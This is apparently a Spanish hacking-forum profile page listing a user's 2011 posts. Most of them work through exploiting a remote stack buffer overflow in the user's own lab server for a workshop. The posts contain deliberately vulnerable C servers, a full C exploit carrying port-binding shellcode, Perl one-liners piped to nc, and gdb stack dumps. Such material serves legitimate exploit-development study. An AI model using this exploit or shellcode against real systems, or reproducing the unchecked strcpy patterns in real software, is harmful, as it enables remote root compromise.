elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Temas
Páginas: [1] 2 3 4 5 6
1  Seguridad Informática / Criptografía / ¿Cómo se hacen los hashes MD5? en: 12 Marzo 2011, 16:10 pm
Bueno, estaba leyendo por aquí y por allá, y he visto en varios post del foro cómo algunos sistemas acaban cifrando el resultado del proceso con MD5. Mi pregunta es... ¿cómo se cifran los hashes MD5? No busco programas ni cosas de ese tipo, sino saber el proceso de forma manual...

Un saludo y gracias!
Sagrini
2  Seguridad Informática / Bugs y Exploits / ¿Qué pasa con mi buffer? [¡¡¡Resuelto!!!] en: 3 Marzo 2011, 20:55 pm
Bueno, puede que el título no sea muy elegante, pero es lo que se me ha ocurrido. Os explico:
Tengo una aplicación (Code 1) que estoy explotando. Ahora, he conseguido explotarla desde un comando en la consola. Y os escribo esto a causa del exploit que estoy haciendo y que no funciona ni grabándolo en un CD y oyéndolo al revés...
La cosa es que la shellcode se me "duplica" modificando el ret...

Os dejo algunos códigos, a ver si me podéis echar una manita...
__________________________________________________________________________________________
Exploit in action [Capt 0.1]
Código:
juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31337
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$
__________________________________________________________________________________________
Serv in action [Capt 0.2]
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/Escritorio/Serv/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 03/03/2011 20:59:09
03/03/2011 20:59:09   Starting up...

03/03/2011 20:59:11   Got connection from 127.0.0.1:60359
03/03/2011 20:59:11   RECV 427 bytes: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
          RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
                                          
__________________________________________________________________________________________
Serv.c [Code 1]
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <signal.h>
  7. #include <time.h>
  8.  
  9. int sockfd, newsock;
  10.  
  11. void shutup (int signal)
  12. {
  13. times ();
  14. printf ("Shutting down...\n\n");
  15. close (newsock);
  16. close (sockfd);
  17. exit (0);
  18. }
  19.  
  20. int times ()
  21. {
  22. time_t now=time (0);
  23. struct tm *ahora;
  24. char buffer [40];
  25. ahora=localtime ((const time_t*)&now);
  26. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  27. printf ("%s   ", buffer);
  28. return 0;
  29. }
  30.  
  31. int handle_connect (char *buffer)
  32. {
  33. char buff [256];
  34. strcpy (buff, buffer);
  35.  
  36. times ();
  37. buff [strlen (buff)-1]='\0';
  38. printf ("RECV %d bytes: %s\n", strlen (buff), buff);
  39. }
  40.  
  41. int main (int argc, char *argv [])
  42. {
  43. time_t now=time (0);
  44. struct tm *ahora;
  45. char hora [40];
  46. ahora=localtime ((const time_t*)&now);
  47. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  48. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  49.  
  50. if (getuid()!=0)
  51. {
  52. printf ("This proccess must be run by root.\n\n");
  53. return 1;
  54. }
  55. if (argc<2)
  56. {
  57. printf ("Use: %s <PORT>\n\n", argv [0]);
  58. return 1;
  59. }
  60. int cont;
  61. struct sockaddr_in client, host;
  62. char buffer [1024];
  63. int size=sizeof (client);
  64.  
  65. sockfd=socket (2, 1 ,  0);
  66. host.sin_family=AF_INET;
  67. host.sin_port=htons (atoi (argv [1]));
  68. host.sin_addr.s_addr=0;
  69. bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  70.  
  71. listen (sockfd, 3);
  72.  
  73. times ();
  74. printf ("Starting up...\n\n");
  75.  
  76. signal (SIGTERM, shutup);
  77. signal (SIGINT, shutup);
  78.  
  79. while (1)
  80. {
  81. newsock=accept (sockfd, (struct sockaddr*)&client, &size);
  82.  
  83. times ();
  84. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  85.  
  86. cont=recv (newsock, &buffer, 1024, 0);
  87. while (cont>1)
  88. {
  89. handle_connect (buffer);
  90. cont=recv (newsock, &buffer, 1024, 0);
  91. }
  92. times ();
  93. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  94. close (newsock);
  95. }
  96. close (sockfd);
  97. return 0;
  98. }
  99.  
__________________________________________________________________________________________
Exploit.c [Code 2]
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <sys/socket.h>
  6.  
  7. int main (int argc, char *argv [])
  8. {
  9. printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
  10. if (argc != 3)
  11. {
  12. printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
  13. return 1;
  14. }
  15.  
  16. printf ("Creating socket...\t");
  17. struct sockaddr_in host; int sockfd;
  18. host.sin_family = AF_INET;
  19. host.sin_port = htons (atoi (argv [2]));
  20. host.sin_addr.s_addr = inet_addr (argv [1]);
  21. memset (host.sin_zero, 0, 8);
  22. if ((sockfd=socket (2, 1, 0))==-1)
  23. {
  24. printf ("[FAIL]\n\n");
  25. return 1;
  26. }
  27. else printf ("[OK]\n");
  28.  
  29. printf ("Conecting target...\t");
  30. if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
  31. {
  32. printf ("[FAIL]\n\n");
  33. return 1;
  34. }
  35. else printf ("[OK]\n");
  36.  
  37. printf ("Creating buffer...\t");
  38. char nops [168];
  39. memset (nops, '\x90', 168);
  40. puts (nops);
  41. char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  42. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  43. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  44. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  45. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  46. "\xcd\x80";
  47. char ret [6] = "AAAA\x90";
  48. char command [265];
  49. strcpy (command, nops);
  50. strcat (command, shellcode);
  51. strcat (command, ret);
  52. printf ("[OK]\n");
  53.  
  54. printf ("Sending buffer...\t");
  55. if (send (sockfd, &command, strlen (command), 0)==-1)
  56. {
  57. printf ("[FAIL]\n\n");
  58. return 1;
  59. }
  60. else printf ("[OK]\n\n");
  61.  
  62. printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
  63. return 0;
  64. }
  65.  
__________________________________________________________________________________________
Exploit Perl [Capt 1]
Código:
juanra@Juanra:~/Escritorio/Serv$ perl -e 'print "\x90"x168 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x50\f8\xff\xbf" . "\x90"' | nc -vv localhost 31337
+++++++++++++++++++++++++++++++++++++++++++
juanra@Juanra:~/Escritorio/Serv$ nc -vv localhost 5074 [Conectarme como root :P]
__________________________________________________________________________________________
GDB look at ESP [Capt 2]
Citar
(gdb) x/5000x $esp
0xbffff800:   0x4050c389   0xb0e18950   0x3180cd66   0x686652d2
0xbffff810:   0x6643d213   0x6ae18953   0x89505110   0xcd66b0e1
0xbffff820:   0x44894080   0x43430424   0x80cd66b0   0x520cc483
0xbffff830:   0x66b04352   0x899380cd   0xcd3fb0d1   0xf9804180
0xbffff840:   0x52f67503   0x732f6e68   0x2f2f6868   0xe3896962
0xbffff850:   0xe1895352   0x80cd0bb0   0x41414141   0xb7ff6e90
0xbffff860:   0xb7fed1f8   0xb7fff2a0   0xbffffa0c   0xb7ff1413
0xbffff870:   0xb7e80428   0xb7fe25a2   0xb7ff7990   0xb7ff79b0
0xbffff880:   0xb7ffb028   0xb7ffbb31   0xb7ffbb31   0xb7ff7990
0xbffff890:   0xb7ff79b0   0xb7ffb028   0xb7ffbb31   0xb7fff2a0
0xbffff8a0:   0x00ffeff4      0x90909000   0x90909090   0x90909090
0xbffff8b0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff8c0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff8d0:   0x90909090   0x4050c031   0x4050c389   0xb0e18950
0xbffff8e0:   0x3180cd66   0x686652d2   0x6643d213   0x6ae18953
0xbffff8f0:      0x89505110   0xcd66b0e1   0x44894080   0x43430424
0xbffff900:   0x80cd66b0   0x520cc483   0x66b04352   0x899380cd
0xbffff910:   0xcd3fb0d1   0xf9804180   0x52f67503   0x732f6e68
0xbffff920:   0x2f2f6868   0xe3896962   0xe1895352   0x80cd0bb0
0xbffff930:   0x4050c031   0x4050c389   0xb0e18950   0x3180cd66
0xbffff940:   0x686652d2   0x6643d213   0x6ae18953   0x89505110
0xbffff950:   0xcd66b0e1   0x44894080   0x43430424   0x80cd66b0
0xbffff960:   0x520cc483   0x66b04352   0x899380cd   0xcd3fb0d1
---Type <return> to continue, or q <return> to quit---
0xbffff970:   0xf9804180   0x52f67503   0x732f6e68   0x2f2f6868
0xbffff980:   0xe3896962   0xe1895352   0x80cd0bb0   0x41414141
0xbffff990:   0xb7ff6e90   0xb7fed1f8   0xb7fff2a0   0xbffffa0c
0xbffff9a0:   0xb7ff1413   0xb7e80428   0xb7fe25a2   0xb7ff7990
0xbffff9b0:   0xb7ff79b0   0xb7ffb028   0xb7ffbb31   0xb7ffbb31
0xbffff9c0:   0xb7ff7990   0xb7ff79b0   0xb7ffb028   0xb7ffbb31
0xbffff9d0:   0xb7fff2a0   0xb7ffeff4      0xb7fe2000   0x00000007
0xbffff9e0:   0xb7fe2450   0x00000000   0x00000008   0x00000070
0xbffff9f0:      0xb7edf620   0x00000001   0xb7fe0d60   0x0804a054
0xbffffa00:   0xb7ffeff4      0x0000000c   0x00000007   0xbffffa94
0xbffffa10:   0xb7ff19ae   0x00000007   0x00000010   0x00000001
0xbffffa20:   0xb7fe25ce   0x00000000   0xb7fe2778   0xb7fe22f0
0xbffffa30:   0xb7fe0d40   0xb7fff014   0x00000002   0xb7fff2a0
0xbffffa40:   0xb7ff6e01   0x00000000   0xb7fe2290   0xb7fe2450
0xbffffa50:   0x00000000   0xb7ffef98   0x00000006   0xb7fe25ce
0xbffffa60:   0xb7fe2290   0x00000000   0x00000000   0xb7ff6f35
0xbffffa70:   0x00000008   0x00000088   0xb7ffeff4   0xbffffa94
0xbffffa80:   0xb7ff701e   0x00000088   0xbffffacc   0xbffffae8
0xbffffa90:   0x00000000   0xbffffabc      0xb7ff3209   0x00000011
0xbffffaa0:   0x00000008   0xb7e6d6c0   0x00000038   0x00000001
0xbffffab0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffac0:   0x00000000   0x00000208   0xb7fe26d0   0x000000a8
0xbffffad0:   0x00000000   0x00000000   0x00000000   0xb7fe0dcc
---Type <return> to continue, or q <return> to quit---
0xbffffae0:   0xb7fea3b2   0xb7fd1000   0x0000df31   0xb7ffeff4
0xbffffaf0:      0xbffffcb0      0xb7fe536d   0xb7e7a400   0x0d696910
0xbffffb00:   0xbffffb38      0xb7feabe8   0xb7e8041e   0x0804848d
0xbffffb10:   0x00000000   0xb7fff948   0xb7fe0b40   0xbfff0002
0xbffffb20:   0xb7ff0ca8   0x080483dc   0xb7fff954   0xb7ffeff4
0xbffffb30:   0xb7fe0b14   0x00000001   0xbffffbb4   0xb7feafdd
0xbffffb40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffb50:   0x00000000   0xb7ffae88   0xbffffb80   0x00000000
0xbffffb60:   0xf63d4e2e   0xb7fe0858   0x07b1ea71   0x00000003
0xbffffb70:   0xb7e71d10   0xb7e71b08   0x00000000   0x00000000
0xbffffb80:   0x00000000   0x00000000   0x00000001   0x0000086f
0xbffffb90:   0xb7fe0b40   0xb7fe0858   0x08048475   0xb7e7ac20
0xbffffba0:   0x080482ac   0x00000001   0xb7ffeff4   0xf63d4e2e
0xbffffbb0:   0xb7fff828   0xbffffca0      0xb7feb1ef   0xbffffc90
0xbffffbc0:   0x080482ac   0xbffffc84      0xb7fff7cc   0x00000000
0xbffffbd0:   0xb7fe0b40   0x00000001   0x00000000   0x00000001
0xbffffbe0:   0xb7fff658   0x00000000   0x00010000   0x00000000
0xbffffbf0:      0xb7fe1168   0x00000000   0xbffffc90      0xbffffc84
0xbffffc00:   0x00000000   0x00000000   0x00000000   0xbffffcd0
0xbffffc10:   0xb7fff670   0x08048475   0x00000000   0x00000000
0xbffffc20:   0x00000000   0x00000000   0xb7fe3000   0x697a0002
0xbffffc30:   0x00000000   0x00000000   0x00000000   0xb2b70002
0xbffffc40:   0x0100007f   0x00000000   0x00000000   0x302f3330
---Type <return> to continue, or q <return> to quit---
0xbffffc50:   0x30322f33   0x32203131   0x31333a30   0x0030333a
0xbffffc60:   0xb7f8f329   0x08049ff4   0xbffffc78      0x080485d0
0xbffffc70:   0xb7fccff4      0x4d6fec92   0xb7fd0360   0x00000165
0xbffffc80:   0xbffffca0      0xb7fccff4      0xbffffcf8      0xb7e84775
0xbffffc90:   0x08048bd0   0x08048750   0xbffffcf8      0xb7e84775
0xbffffca0:   0x00000002   0xbffffd24      0xbffffd30      0xb7fe0b40
0xbffffcb0:   0x00000001   0x00000001   0x00000000   0x08048475
0xbffffcc0:      0xb7fccff4      0x08048bd0   0x08048750   0xbffffcf8
0xbffffcd0:   0xb5bf4009   0x9ac87419   0x00000000   0x00000000
0xbffffce0:   0x00000000   0xb7ff57f0   0xb7e8469d   0xb7ffeff4
0xbffffcf0:      0x00000002   0x08048750   0x00000000   0x08048771
0xbffffd00:   0x08048908   0x00000002   0xbffffd24      0x08048bd0
0xbffffd10:   0x08048bc0   0xb7ff07b0   0xbffffd1c      0xb7ffbd83
0xbffffd20:   0x00000002   0xbffffe28      0xbffffe4a      0x00000000
0xbffffd30:   0xbffffe50      0xbffffe60      0xbffffe6b      0xbffffe75
0xbffffd40:   0xbffffe86      0xbffffe94      0xbffffea2      0xbffffead
0xbffffd50:   0xbffffefe      0xbfffff1f      0xbfffff30      0xbfffff39
0xbffffd60:   0xbfffff41      0xbfffff63      0xbfffff75      0xbfffff82
0xbffffd70:   0xbfffff90      0xbfffff9d      0xbfffffb6      0x00000000
0xbffffd80:   0x00000020   0xb7fe1420   0x00000021   0xb7fe1000
0xbffffd90:   0x00000010   0xbfebfbff      0x00000006   0x00001000
0xbffffda0:   0x00000011   0x00000064   0x00000003   0x08048034
0xbffffdb0:   0x00000004   0x00000020   0x00000005   0x00000008
---Type <return> to continue, or q <return> to quit---
0xbffffdc0:   0x00000007   0xb7fe2000   0x00000008   0x00000000
0xbffffdd0:   0x00000009   0x08048750   0x0000000b   0x00000000
0xbffffde0:   0x0000000c   0x00000000   0x0000000d   0x00000000
0xbffffdf0:      0x0000000e   0x00000000   0x00000017   0x00000000
0xbffffe00:   0x0000001f   0xbfffffda      0x0000000f   0xbffffe1b
0xbffffe10:   0x00000000   0x00000000   0x69000000   0x00363836
0xbffffe20:   0x00000000   0x00000000   0x6d6f682f   0x756a2f65
0xbffffe30:   0x61726e61   0x6373452f   0x6f746972   0x2f6f6972
0xbffffe40:   0x76726553   0x7265732f   0x31330076   0x00373333
0xbffffe50:   0x4c454853   0x622f3d4c   0x622f6e69   0x00687361
0xbffffe60:   0x4d524554   0x6574783d   0x55006d72   0x3d524553
0xbffffe70:   0x746f6f72   0x44555300   0x53555f4f   0x6a3d5245
0xbffffe80:   0x726e6175   0x55530061   0x555f4f44   0x313d4449
0xbffffe90:   0x00303030   0x52455355   0x454d414e   0x6f6f723d
0xbffffea0:   0x4f430074   0x4e4d554c   0x30383d53   0x54415000
0xbffffeb0:   0x752f3d48   0x6c2f7273   0x6c61636f   0x6962732f
0xbffffec0:   0x752f3a6e   0x6c2f7273   0x6c61636f   0x6e69622f
0xbffffed0:   0x73752f3a   0x62732f72   0x2f3a6e69   0x2f727375
0xbffffee0:   0x3a6e6962   0x6962732f   0x622f3a6e   0x2f3a6e69
0xbffffef0:      0x2f727375   0x52313158   0x69622f36   0x5750006e
0xbfffff00:      0x682f3d44   0x2f656d6f   0x6e61756a   0x452f6172
0xbfffff10:      0x69726373   0x69726f74   0x65532f6f   0x4c007672
0xbfffff20:      0x3d474e41   0x455f7365   0x54552e53   0x00382d46
---Type <return> to continue, or q <return> to quit---
0xbfffff30:      0x454e494c   0x34323d53   0x4c485300   0x303d4c56
0xbfffff40:      0x44555300   0x4f435f4f   0x4e414d4d   0x752f3d44
0xbfffff50:      0x622f7273   0x672f6e69   0x2d206264   0x65732071
0xbfffff60:      0x48007672   0x3d454d4f   0x6d6f682f   0x756a2f65
0xbfffff70:      0x61726e61   0x474f4c00   0x454d414e   0x6f6f723d
0xbfffff80:      0x55530074   0x475f4f44   0x313d4449   0x00303030
0xbfffff90:      0x50534944   0x3d59414c   0x302e303a   0x4c4f4300
0xbfffffa0:      0x4554524f   0x673d4d52   0x656d6f6e   0x7265742d
0xbfffffb0:      0x616e696d   0x4158006c   0x4f485455   0x59544952
0xbfffffc0:      0x6f682f3d   0x6a2f656d   0x726e6175   0x582e2f61
0xbfffffd0:      0x68747561   0x7469726f   0x682f0079   0x2f656d6f
0xbfffffe0:      0x6e61756a   0x452f6172   0x69726373   0x69726f74
0xbffffff0:      0x65532f6f   0x732f7672   0x00767265   0x00000000

Un saludo a todos y muchas gracias...
3  Foros Generales / Sugerencias y dudas sobre el Foro / ¿Se borran los primeros mensajes de cada usuario? en: 1 Marzo 2011, 17:21 pm
Pues me ha surgido una pequeña duda... ¿cuál fue mi primer mensaje en el foro? Voy a mi perfil y veo que es un tutorial de cómo hacer mi mini-firma de Matrix. El problema es que ESE no fue mi primer mensaje, antes fueron muchos otros... Miro en el perfil de el-brujo y me encuentro...
Citar
Efectivamente decowar, no hay ningún problema para postear URL e incluso otras páginas. Contra más información, creo que mejor.
¿?¿?¿? Realmente eso no puede ser. Miro en otros perfiles y ocurre lo mismo.

La duda final es... ¿Qué pasó con las primeras intervenciones de cada uno?

Un saludo!
Sagrini
4  Seguridad Informática / Bugs y Exploits / ¿ Fallo BoF Remoto Linux ? en: 18 Febrero 2011, 01:10 am
Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int vuln (char *trampa)
  14. {
  15. char buffer [100];
  16. strcpy (buffer, trampa);
  17. }
  18.  
  19. void shutup (int signal)
  20. {
  21. times ();
  22. printf ("Shutting down...\n\n");
  23. close (newsocket);
  24. close (socketfd);
  25. exit (0);
  26. }
  27.  
  28. int times ()
  29. {
  30. time_t now=time (0);
  31. struct tm *ahora;
  32. char buffer [40];
  33. ahora=localtime ((const time_t*)&now);
  34. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  35. printf ("%s   ", buffer);
  36. return 0;
  37. }
  38.  
  39. int main (int argc, char *argv [])
  40. {
  41. time_t now=time (0);
  42. struct tm *ahora;
  43. char hora [40];
  44. ahora=localtime ((const time_t*)&now);
  45. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  46. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  47.  
  48. if (getuid()!=0)
  49. {
  50. printf ("This proccess must be run by root.\n\n");
  51. return 1;
  52. }
  53. if (argc<2)
  54. {
  55. printf ("Use: %s <PORT>\n\n", argv [0]);
  56. return 1;
  57. }
  58. int cont;
  59. struct sockaddr_in client, host;
  60. char buffer [1024];
  61. int size=sizeof (client);
  62.  
  63. socketfd=socket (2, 1 ,  0);
  64. host.sin_family=AF_INET;
  65. host.sin_port=htons (atoi (argv [1]));
  66. host.sin_addr.s_addr=0;
  67. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  68.  
  69. listen (socketfd, 3);
  70.  
  71. times ();
  72. printf ("Starting up...\n\n");
  73.  
  74. signal (SIGTERM, shutup);
  75. signal (SIGINT, shutup);
  76.  
  77. while (1)
  78. {
  79. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  80.  
  81. times ();
  82. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  83.  
  84. cont=recv (newsocket, &buffer, 1024, 0);
  85. while (cont>2)
  86. {
  87. times ();
  88. buffer [cont-1]='\0';
  89. printf ("RECV %d bytes: %s\n", cont, buffer);
  90.  
  91. vuln (buffer);
  92. cont=recv (newsocket, &buffer, 1024, 0);
  93. }
  94. times ();
  95. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96. close (newsocket);
  97. }
  98. close (socketfd);
  99. return 0;
  100. }
  101.  
  102.  

Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555
El null lo pongo porque en la línea ...
Código
  1. while (cont>2)
  2. {
  3. times ();
  4. --> buffer [cont-1]='\0';
  5. printf ("RECV %d bytes: %s\n", cont, buffer);
  6.  
... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...
Código:
juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)
Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini
5  Seguridad Informática / Desafíos - Wargames / [RETO] Adivina POR QUÉ no funciona... en: 18 Febrero 2011, 00:05 am
MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
Código
  1. buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código
  1. sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int feo ()
  14. {
  15. printf ("FEO");
  16. exit (1);
  17. }
  18.  
  19. int vuln (char *trampa)
  20. {
  21. char buffer [100];
  22. strcpy (buffer, trampa);
  23. }
  24.  
  25. void shutup (int signal)
  26. {
  27. times ();
  28. printf ("Shutting down...\n\n");
  29. close (newsocket);
  30. close (socketfd);
  31. exit (0);
  32. }
  33.  
  34. int times ()
  35. {
  36. time_t now=time (0);
  37. struct tm *ahora;
  38. char buffer [40];
  39. ahora=localtime ((const time_t*)&now);
  40. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  41. printf ("%s   ", buffer);
  42. return 0;
  43. }
  44.  
  45. int main (int argc, char *argv [])
  46. {
  47. time_t now=time (0);
  48. struct tm *ahora;
  49. char hora [40];
  50. ahora=localtime ((const time_t*)&now);
  51. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  52. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  53.  
  54. if (getuid()!=0)
  55. {
  56. printf ("This proccess must be run by root.\n\n");
  57. return 1;
  58. }
  59. if (argc<2)
  60. {
  61. printf ("Use: %s <PORT>\n\n", argv [0]);
  62. return 1;
  63. }
  64. int cont;
  65. struct sockaddr_in client, host;
  66. char buffer [1024];
  67. int size=sizeof (client);
  68.  
  69. socketfd=socket (2, 1 ,  0);
  70. host.sin_family=AF_INET;
  71. host.sin_port=htons (atoi (argv [1]));
  72. host.sin_addr.s_addr=0;
  73. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  74.  
  75. listen (socketfd, 3);
  76.  
  77. times ();
  78. printf ("Starting up...\n\n");
  79.  
  80. signal (SIGTERM, shutup);
  81. signal (SIGINT, shutup);
  82.  
  83. while (1)
  84. {
  85. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  86.  
  87. times ();
  88. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  89.  
  90. cont=recv (newsocket, &buffer, 1024, 0);
  91. while (cont>2)
  92. {
  93. times ();
  94. buffer [cont-1]='\0';
  95. printf ("RECV %d bytes: %s\n", cont, buffer);
  96.  
  97. vuln (buffer);
  98. cont=recv (newsocket, &buffer, 1024, 0);
  99. }
  100. times ();
  101. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  102. close (newsocket);
  103. }
  104. close (socketfd);
  105. return 0;
  106. }
  107.  

Y lo estaba explotando con este comando...
Código:
 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335 

Ahora, abría con GDB y me mostraba esto...
Código:
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)

La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD
6  Foros Generales / Sugerencias y dudas sobre el Foro / [DUDA] [SUGERENCIA] Theme & Time en: 17 Febrero 2011, 18:44 pm
Hola! Un usuario del taller propuso usar la hora del foro para todos, y así evitar problemas de zona horaria. Aquí el post se divide en dos...

1) Duda: ¿La hora del foro es igual para todas las zonas horarias o es la de un sitio concreto y cambia por paises?
2) Sugerencia: Uso el theme elhacker.NET Web. Ahora, he buscado un poco y no he encontrado la hora. ¿Se podría poner el reloj en todos los themes?

Gracias! Un saludo
Sagrini
